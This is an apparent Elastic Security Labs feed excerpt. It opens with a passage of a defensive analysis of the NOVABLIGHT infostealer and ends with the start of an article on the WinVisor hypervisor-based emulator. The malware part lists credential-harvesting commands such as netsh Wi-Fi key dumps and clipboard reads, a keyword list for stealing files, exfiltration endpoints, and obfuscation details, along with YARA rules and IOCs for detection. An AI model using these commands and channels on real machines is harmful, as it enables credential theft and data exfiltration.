This is what <a href="https://www.virustotal.com/gui/file/cf3a8cdb3fca4e9944dc90d13f2f4f2b4ae317955571d9132e97cc46a06f277b/detection"><code>main/index.js</code></a> looks like in a legitimate release of Exodus 25.28.4:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image21.png" alt="Original logic of main/index.js in the Exodus client" /></p>
<p>In the trojanized <code>index.js</code>, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image8.png" alt="Trojanized index.js" /></p>
<h3>Chrome sensitive data extraction</h3>
<p>For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from <a href="https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip">https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image35.png" alt="Dynamically retrieving Chrome data decryption tool" /></p>
<p>The GitHub repository attempts to masquerade as a Minecraft voting management tool.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image36.png" alt="GitHub repo with a fake README" /></p>
<p>However, the zip file <code>bin.zip</code> contains the compiled code (<a href="https://www.virustotal.com/gui/file/82920f3482c55430361b0cf184abf546fdb32fa079026d6ce1653f4cab49647d/detection">decrypt.exe</a> and <a href="https://www.virustotal.com/gui/file/daa1caa02a95411261aa7ed94762864e6f7bd7aa5fa79dfc9c1f3741d5ef8027">chrome_decrypt.dll</a>) of version 0.11.0 of the Chrome App-bound decrypter PoC project by <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">xaitax</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image32.png" alt="Chrome App-Bound Decryption tool by xaitax" /></p>
<h3>System enumeration</h3>
<p>Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.</p>
<ul>
<li><code>captureSystemInfo()</code>: Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.</li>
<li>Output: <code>*configured_path*/System Info.txt</code></li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image34.png" alt="Collecting system information" /></p>
<ul>
<li><code>captureScreen()</code>: Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
<ul>
<li>Method: Utilizes the <a href="https://www.npmjs.com/package/screenshot-desktop">screenshot-desktop</a> library.</li>
<li>Output: A timestamped image file (e.g., <em>configured_path</em>/<em>hostname</em>_2025-10-26_14-30-00.png`).</li>
</ul>
</li>
<li><code>captureTaskList()</code>: Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
<ul>
<li>Method: Executes the command <code>tasklist /FO CSV /NH</code>.</li>
<li>Output: <code>*configured_path*/TaskManagerInfo.txt </code></li>
</ul>
</li>
<li><code>captureAVDetails()</code>: Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
<ul>
<li>Method: Executes the PowerShell command <code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List</code></li>
<li>Output: <code>*configured_path*/Avdetails.txt</code></li>
</ul>
</li>
<li><code>captureClipboardContent()</code>: Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
<ul>
<li>Method: Executes the PowerShell command <code>Get-Clipboard</code>.</li>
<li>Output: <code>*configured_path*/Clipboard.txt</code></li>
</ul>
</li>
<li><code>captureWebcamVideo()</code>: Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
<ul>
<li>Method: Leverages the <a href="http://direct-synch-show"><code>direct-synch-show</code></a> library for video capture.</li>
<li>Output: <code>*configured_path*/Bighead.avi</code></li>
</ul>
</li>
<li><code>captureWifiPasswords()</code>: Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
<ul>
<li>Method: Executes the command <code>netsh wlan show profile *wifi_ssid* key=clear</code> for each profile.</li>
<li>Output: <code>*configured_path*/WifiPasswords.txt</code></li>
</ul>
</li>
<li><code>getFilesUrgents</code>: This functionality exfiltrate files on disk according to a set of keywords as follow: <strong>backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni,</strong> these files are archived as <code>files.zip</code> then sent to the C2.</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image28.png" alt="Collecting important files" /></p>
<h3>Data exfiltration</h3>
<p>There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.</p>
<p>The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image12.png" alt="Dashboard on the NOVABLIGHT web panel" /></p>
<p>The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string <code>req</code> in this case <code>https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>.</p>
<p>If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at <code>https://api.telegram[.]org/bot*token*/sendMessage</code>) using a configured userId, chatId and botToken to send the stolen data.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image33.png" alt="Data exfiltration channel: Telegram" /></p>
<p>Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single  URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image19.png" alt="Data exfiltration channel: Discord" /></p>
<p>NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:</p>
<ul>
<li><code>https://bashupload[.]com</code></li>
<li><code>https://litterbox.catbox[.]moe/resources/internals/api.php</code></li>
<li><code>https://tmpfiles[.]org/api/v1/upload</code></li>
<li><code>https://oshi[.]at/</code></li>
<li><code>http://sendfile[.]su/</code></li>
<li><code>https://wsend[.]net</code></li>
<li><code>https://api.gofile[.]io/servers</code></li>
<li><code>https://gofile[.]io/uploadFiles</code></li>
<li><code>https://rdmfile[.]eu/api/upload</code></li>
<li><code>https://bamboulacity.nova-blight[.]xyz/file/</code></li>
</ul>
<h3>Targeted data</h3>
<p>NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub <a href="https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9">Gist</a>.</p>
<h2>Obfuscation techniques</h2>
<h3>Array mapping</h3>
<p>The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array <code>__p_6Aeb_dlrArray</code> with values of different types and encoding, which accounts for nearly all literal values used in the script.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image4.png" alt="Main global array used for value lookups" /></p>
<p>After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image24.png" alt="Results after fixing array mapping for __p_6Aeb_dlrArray" /></p>
<h3>String encoding</h3>
<p>The second technique used to hide strings is the usage of base91 encoding. The function wrapper <code>__p_xIFu_MAIN_STR</code> is called with an integer argument.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image10.png" alt="Obfuscated strings" /></p>
<p>The integer is an index of a secondary array mapping <code>__p_9sMm_array</code> that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine <code>__p_xIFu_MAIN_STR_decode</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image9.png" alt="Global array used for lookup by __p_xIFu_MAIN_STR" /></p>
<p><code>__p_xIFu_MAIN_STR_decode</code> will then decode it using a custom alphabet:<br />
<code>vFAjbQox\&gt;5?4K$m=83GYu.nBIh\&lt;drPaN\^@%Hk:D_sSyz&quot;ER9/p,(*JwtfO)iUl&amp;C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7</code> and return the decoded string.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image26.png" alt="Main logic for string decoding" /></p>
<h3>Access pattern obfuscation</h3>
<p>Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.</p>
<p>For example, the function <code>__p_LQ1f_flat_…</code> is passed a flat object <code>__p_w3Th_flat_object</code>. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (<code>__p_jGTR_dispatcher_26</code>). Throughout the code, there is a pattern where the property names start with <code>empretecerian.js</code>, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image29.png" alt="Example pattern for flattened object" /></p>
<h3>Control flow obfuscation</h3>
<p>Some of the code’s execution path is routed through a central dispatcher,  <code>__p_jGTR_dispatcher_26</code>, in which the first argument name takes a short ID string.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image7.png" alt="The main dispatcher’s function signature" /></p>
<p>Each ID is mapped to a distinct function. For example, the ID <code>jgqatJ</code> is referenced by the <code>modules/init/Troll.js</code> module and it is responsible for a “troll” popup message box.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image14.png" alt="Mapping function ID to the actual function" /></p>
<h3>Proxy variables</h3>
<p>First, the obfuscation transforms function syntax to “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters syntax</a>” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function <code>__p_xIFu_MAIN_STR_decode</code> is not called with direct parameters. Instead, its arguments are first placed into the <code>__p_A5wG_varMask</code> array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index <code>-36</code> of the array stores the index of the character &quot;c&quot; in a string stored in <code>__p_A5wG_varMask[171]</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image3.png" alt="Function utilizing rest parameters" /></p>
<h2>NOVABLIGHT and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1125/">Video Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1531/">Account Access Removal</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
</ul>
<h2>Conclusion</h2>
<p>NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.</p>
<p>Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.</p>
<h2>Detecting NOVABLIGHT</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Infostealer_NovaBlight {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-07-18&quot;
        last_modified = &quot;2025-07-28&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Infostealer&quot;
        family = &quot;NovaBlight&quot;
        threat_name = &quot;Windows.Infostealer.NovaBlight&quot;
        reference_sample = &quot;d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73&quot;

    strings:
        $a1 = &quot;C:\\Users\\Administrateur\\Desktop\\Nova\\&quot;
        $a2 = &quot;[+] Recording...&quot; fullword
        $a3 = &quot;[+] Capture start&quot; fullword
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.2</td>
</tr>
<tr>
<td align="left"><code>39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.1</td>
</tr>
<tr>
<td align="left"><code>97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.0</td>
</tr>
<tr>
<td align="left"><code>api.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>shadow.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]site</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>bamboulacity.nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.gatewatcher.com/lab/groupe-nova-sentinel/">https://www.gatewatcher.com/lab/groupe-nova-sentinel/</a></li>
<li><a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/Security Labs Images 7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WinVisor – A hypervisor-based emulator for Windows x64 user-mode executables]]></title>
            <link>https://www.elastic.co/es/security-labs/winvisor-hypervisor-based-emulator</link>
            <guid>winvisor-hypervisor-based-emulator</guid>
            <pubDate>Fri, 24 Jan 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[WinVisor is a hypervisor-based emulator for Windows x64 user-mode executables that leverages the Windows Hypervisor Platform API to provide a virtualized environment for logging syscalls and enabling memory introspection.]]></description>
            <content:encoded><![CDATA[<h2>Background</h2>
<p>In Windows 10 (version RS4), Microsoft introduced the <a href="https://learn.microsoft.com/en-us/virtualization/api/hypervisor-platform/hypervisor-platform">Windows Hypervisor Platform</a> (WHP) API. This API exposes Microsoft's built-in hypervisor functionality to user-mode Windows applications. In 2024, the author used this API to create a personal project: a 16-bit MS-DOS emulator called <a href="https://github.com/x86matthew/DOSVisor">DOSVisor</a>. As mentioned in the release notes, there have always been plans to take this concept further and use it to emulate Windows applications. Elastic provides a research week (ON Week) twice per year for staff to work on personal projects, providing a great opportunity to begin working on this project. This project will be (unimaginatively) named WinVisor, inspired by its DOSVisor predecessor.</p>
<p>Hypervisors provide hardware-level virtualization, eliminating the need to emulate the CPU via software. This ensures that instructions are executed exactly as they would be on a physical CPU, whereas software-based emulators often behave inconsistently in edge cases.</p>
<p>This project aims to build a virtual environment for executing Windows x64 binaries, allowing syscalls to be logged (or hooked) and enabling memory introspection. The goal of this project is not to build a comprehensive and secure sandbox - by default, all syscalls will simply be logged and forwarded directly to the host. In its initial form, it will be trivial for code running within the virtualized guest to &quot;escape&quot; to the host. Safely securing a sandbox is a difficult task, and is beyond the scope of this project. The limitations will be described in further detail at the end of the article.</p>
<p>Despite having been available for 6 years (at the time of writing), it seems that the WHP API hasn’t been used in many public projects other than complex codebases such as <a href="https://github.com/qemu/qemu">QEMU</a> and <a href="https://www.virtualbox.org/">VirtualBox</a>. One other notable project is Alex Ionescu's <a href="https://github.com/ionescu007/Simpleator">Simpleator</a> - a lightweight Windows user-mode emulator that also utilizes the WHP API. This project has many of the same goals as WinVisor, although the approach for implementation is quite different. The WinVisor project aims to automate as much as possible and support simple executables (e.g. <code>ping.exe</code>) universally out of the box.</p>
<p>This article will cover the general design of the project, some of the issues that were encountered, and how they were worked through. Some features will be limited due to development time constraints, but the final product will at least be a usable proof-of-concept. Links to the source code and binaries hosted on GitHub will be provided at the end of the article.</p>
<h3>Hypervisor basics</h3>
<p>Hypervisors are powered by VT-x (Intel) and AMD-V (AMD) extensions. These hardware-assisted frameworks enable virtualization by allowing one or more virtual machines to run on a single physical CPU. These extensions use different instruction sets and, therefore, are not inherently compatible with each other; separate code must be written for each.</p>
<p>Internally, Hyper-V uses <code>hvix64.exe</code> for Intel support and <code>hvax64.exe</code> for AMD support. Microsoft's WHP API abstracts these hardware differences, allowing applications to create and manage virtual partitions regardless of the underlying CPU type. For simplicity, the following explanation will focus solely on VT-x.</p>
<p>VT-x adds an additional set of instructions known as VMX (Virtual Machine Extensions), containing instructions such as <code>VMLAUNCH</code>, which begins the execution of a VM for the first time, and <code>VMRESUME</code>, which re-enters the VM after a VM exit. A VM exit occurs when certain conditions are triggered by the guest, such as specific instructions, I/O port access, page faults, and other exceptions.</p>
<p>Central to VMX is the Virtual Machine Control Structure (VMCS), a per-VM data structure that stores the state of the guest and host contexts as well as information about the execution environment. The VMCS contains fields that define processor state, control configurations, and optional conditions that trigger transitions from the guest back to the host. VMCS fields can be read or written to using the <code>VMREAD</code> and <code>VMWRITE</code> instructions.</p>
<p>During a VM exit, the processor saves the guest state in the VMCS and transitions back to the host state for hypervisor intervention.</p>
<h2>WinVisor overview</h2>
<p>This project takes advantage of the high-level nature of the WHP API. The API exposes hypervisor functionality to user-mode and allows applications to map virtual memory from the host process directly into the guest's physical memory.</p>
<p>The virtual CPU operates almost exclusively in CPL3 (user-mode), except for a small bootloader that runs at CPL0 (kernel-mode) to initialize the CPU state before execution. This will be described in further detail in the Virtual CPU section.</p>
<p>Building up the memory space for an emulated guest environment involves mapping the target executable and all DLL dependencies, followed by populating other internal data structures such as the Process Environment Block (PEB), Thread Environment Block (TEB), <code>KUSER_SHARED_DATA</code>, etc.</p>
<p>Mapping the EXE and DLL dependencies is straightforward, but accurately maintaining internal structures, such as the PEB, is a more complex task. These structures are large, mostly undocumented, and their contents can vary between Windows versions. It would be relatively simple to populate a minimalist set of fields to execute a simple &quot;Hello World&quot; application, but an improved approach should be taken to provide good compatibility.</p>
<p>Instead of manually building up a virtual environment, WinVisor launches a suspended instance of the target process and clones the entire address space into the guest. The Import Address Table (IAT) and Thread Local Storage (TLS) data directories are temporarily removed from the PE headers in memory to stop DLL dependencies from loading and to prevent TLS callbacks from executing before reaching the entry point. The process is then resumed, allowing the usual process initialization to continue (<code>LdrpInitializeProcess</code>) until it reaches the entry point of the target executable, at which point the hypervisor launches and takes control. This essentially means that Windows has done all of the hard work for us, and we now have a pre-populated user-mode address space for the target executable that is ready for execution.</p>
<p>A new thread is then created in a suspended state, with the start address pointing to the address of a custom loader function. This function populates the IAT, executes TLS callbacks, and finally executes the original entry point of the target application. This essentially simulates what the main thread would do if the process were being executed natively. The context of this thread is then &quot;cloned&quot; into the virtual CPU, and execution begins under the control of the hypervisor.</p>
<p>Memory is paged into the guest as necessary, and syscalls are intercepted, logged, and forwarded to the host OS until the virtualized target process exits.</p>
<p>As the WHP API only allows memory from the current process to be mapped into the guest, the main hypervisor logic is encapsulated within a DLL that gets injected into the target process.</p>
<h2>Virtual CPU</h2>
<p>The WHP API provides a &quot;friendly&quot; wrapper around the VMX functionality described earlier, meaning that the usual steps, such as manually populating the VMCS before executing <code>VMLAUNCH</code>,  are no longer necessary. It also exposes the functionality to user-mode, meaning a custom driver is not required. However, the virtual CPU must still be initialized appropriately via WHP prior to executing the target code. The important aspects will be described below.</p>
<h3>Control registers</h3>
<p>Only the <code>CR0</code>, <code>CR3</code>, and <code>CR4</code> control registers are relevant for this project. <code>CR0</code> and <code>CR4</code> are used to enable CPU configuration options such as protected mode, paging, and PAE. <code>CR3</code> contains the physical address of the <code>PML4</code> paging table, which will be described in further detail in the Memory Paging section.</p>
<h3>Model-specific registers</h3>
<p>Model-Specific Registers (MSRs) must also be initialized to ensure the correct operation of the virtual CPU. <code>MSR_EFER</code> contains flags for extended features, such as enabling long mode (64-bit) and <code>SYSCALL</code> instructions. <code>MSR_LSTAR</code> contains the address of the syscall handler, and <code>MSR_STAR</code> contains the segment selectors for transitioning to CPL0 (and back to CPL3) during syscalls. <code>MSR_KERNEL_GS_BASE</code> contains the shadow base address of the <code>GS</code> selector.</p>
<h3>Global descriptor table</h3>
<p>The Global Descriptor Table (GDT) defines the segment descriptors, which essentially describe memory regions and their properties for use in protected mode.</p>
<p>In long mode, the GDT has limited use and is mostly a relic of the past - x64 always operates in a flat memory mode, meaning all selectors are based at <code>0</code>. The only exceptions to this are the <code>FS</code> and <code>GS</code> registers, which are used for thread-specific purposes. Even in those cases, their base addresses are not defined by the GDT. Instead, MSRs (such as <code>MSR_KERNEL_GS_BASE</code> described above) are used to store the base address.</p>
<p>Despite this obsolescence, the GDT is still an important part of the x64 model. For example, the current privilege level is defined by the <code>CS</code> (Code Segment) selector.</p>
<h3>Task state segment</h3>
<p>In long mode, the Task State Segment (TSS) is simply used to load the stack pointer when transitioning from a lower privilege level to a higher one. As this emulator operates almost exclusively in CPL3, except for the initial bootloader and interrupt handlers, only a single page is allocated for the CPL0 stack. The TSS is stored as a special system entry within the GDT and occupies two slots.</p>
<h3>Interrupt descriptor table</h3>
<p>The Interrupt Descriptor Table (IDT) contains information about each type of interrupt, such as the handler addresses. This will be described in further detail in the Interrupt Handling section.</p>
<h3>Bootloader</h3>
<p>Most of the CPU fields mentioned above can be initialized using WHP wrapper functions, but support for certain fields (e.g. <code>XCR0</code>) only arrived in later versions of the WHP API (Windows 10 RS5). For completeness, the project includes a small “bootloader”, which runs at CPL0 upon startup and manually initializes the final parts of the CPU prior to executing the target code. Unlike a physical CPU, which would start in 16-bit real mode, the virtual CPU has already been initialized to run in long-mode (64-bit), making the boot process slightly more straightforward.</p>
<p>The following steps are performed by the bootloader:</p>
<ol>
<li>
<p>Load the GDT using the <code>LGDT</code> instruction. The source operand for this instruction specifies a 10-byte memory block which contains the base address and limit (size) of the table that was populated earlier.</p>
</li>
<li>
<p>Load the IDT using the <code>LIDT</code> instruction. The source operand for this instruction uses the same format as LGDT described above.</p>
</li>
<li>
<p>Set the TSS selector index into the task register using the <code>LTR</code> instruction. As mentioned above, the TSS descriptor exists as a special entry within the GDT (at <code>0x40</code> in this case).</p>
</li>
<li>
<p>The XCR0 register can be set using the <code>XSETBV</code> instruction. This is an additional control register which is used for optional features such as AVX. The native process executes XGETBV to get the host value, which is then copied into the guest via <code>XSETBV</code> in the bootloader.</p>
</li>
</ol>
<p>This is an important step because DLL dependencies that have already been loaded may have set global flags during their initialization process. For example, <code>ucrtbase.dll</code> checks if the CPU supports AVX via the <code>CPUID</code> instruction on startup and, if so, sets a global flag to allow the CRT to use AVX instructions for optimization reasons. If the virtual CPU attempts to execute these AVX instructions without explicitly enabling them in <code>XCR0</code> first, an undefined instruction exception will be raised.</p>
<ol start="5">
<li>
<p>Manually update <code>DS</code>, <code>ES</code>, and <code>GS</code> data segment selectors to their CPL3 equivalents (<code>0x2B</code>). Execute the <code>SWAPGS</code> instruction to load the TEB base address from <code>MSR_KERNEL_GS_BASE</code>.</p>
</li>
<li>
<p>Finally, use the <code>SYSRET</code> instruction to transition into CPL3. Prior to the <code>SYSRET</code> instruction, <code>RCX</code> is set to a placeholder address (CPL3 entry point), and <code>R11</code> is set to the initial CPL3 RFLAGS value (<code>0x202</code>). The <code>SYSRET</code> instruction automatically switches the <code>CS</code> and <code>SS</code> segment selectors to their CPL3 equivalents from <code>MSR_STAR</code>.</p>
</li>
</ol>
<p>When the <code>SYSRET</code> instruction executes, a page fault will be raised due to the invalid placeholder address in <code>RIP</code>. The emulator will catch this page fault and recognize it as a “special” address. The initial CPL3 register values will then be copied into the virtual CPU, <code>RIP</code> is updated to point to a custom user-mode loader function, and execution resumes. This function loads all DLL dependencies for the target executable, populates the IAT table, executes TLS callbacks, and then executes the original entry point. The import table and TLS callbacks are handled at this stage, rather than earlier on, to ensure their code is executed within the virtualized environment.</p>
<h2>Memory paging</h2>
<p>All memory management for the guest must be handled manually. This means a paging table must be populated and maintained, allowing the virtual CPU to translate a virtual address to a physical address.</p>
<h3>Virtual address translation</h3>
<p>For those who are not familiar with paging in x64, the paging table has four levels: <code>PML4</code>, <code>PDPT</code>, <code>PD</code>, and <code>PT</code>. For any given virtual address, the CPU walks through each layer of the table, eventually reaching the target physical address. Modern CPUs also support 5-level paging (in case the 256TB of addressable memory offered by 4-level paging isn't enough!), but this is irrelevant for the purposes of this project.</p>
<p>The following image illustrates the format of a sample virtual address:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/winvisor-hypervisor-based-emulator/5WT-image.png" alt="Breakdown of an example virtual address" title="Breakdown of an example virtual address" /></p>
<p>Using the example above, the CPU would calculate the physical page corresponding to the virtual address <code>0x7FFB7D030D10</code> via the following table entries: <code>PML4[0xFF]</code> -&gt; <code>PDPT[0x1ED]</code> -&gt; <code>PD[0x1E8]</code> -&gt; <code>PT[0x30]</code>. Finally, the offset (<code>0xD10</code>) will be added to this physical page to calculate the exact address.</p>
<p>Bits <code>48</code> - <code>63</code> within a virtual address are unused in 4-level paging and are essentially sign-extended to match bit <code>47</code>.</p>
<p>The <code>CR3</code> control register contains the physical address of the base <code>PML4</code> table. When paging is enabled (mandatory in long-mode), all other addresses within the context of the CPU refer to virtual addresses.</p>
<h3>Page faults</h3>
<p>When the guest attempts to access memory, the virtual CPU will raise a page fault exception if the requested page isn't already present in the paging table. This will trigger a VM Exit event and pass control back to the host. When this occurs, the <code>CR2</code> control register contains the requested virtual address, although the WHP API already provides this value within the VM Exit context data. The host can then map the requested page into memory (if possible) and resume execution or throw an error if the target address is invalid.</p>
<h3>Host/guest memory mirroring</h3>
